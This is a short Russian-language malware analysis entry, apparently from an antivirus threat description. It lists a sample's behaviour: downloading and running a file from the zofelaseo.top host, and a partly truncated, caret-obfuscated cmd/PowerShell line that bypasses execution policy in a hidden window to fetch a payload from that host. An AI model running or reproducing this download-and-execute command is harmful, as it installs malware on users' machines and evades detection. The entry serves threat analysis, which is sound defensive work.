Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://zofelaseo.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "PO^WErs^HEll.exe -ex^ECUT^I^O^NpOLICY BypAss -^N^Opro^FiLe -^WInDoW^s^tYL^E H^i^D^d^EN (^neW-OBj^Ect s^YST^E^M^.^Net.^WeBClIeNT).^DoWN^L^o^AdfI^LE(^'http://zofelaseo.top/read.p...
Сетевая активность
UDP
- DNS ASK zo###aseo.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "PO^WErs^HEll.exe -ex^ECUT^I^O^NpOLICY BypAss -^N^Opro^FiLe -^WInDoW^s^tYL^E H^i^D^d^EN (^neW-OBj^Ect s^YST^E^M^.^Net.^WeBClIeNT).^DoWN^L^o^AdfI^LE(^'http://zofelaseo.top/read.p...' (со скрытым окном)
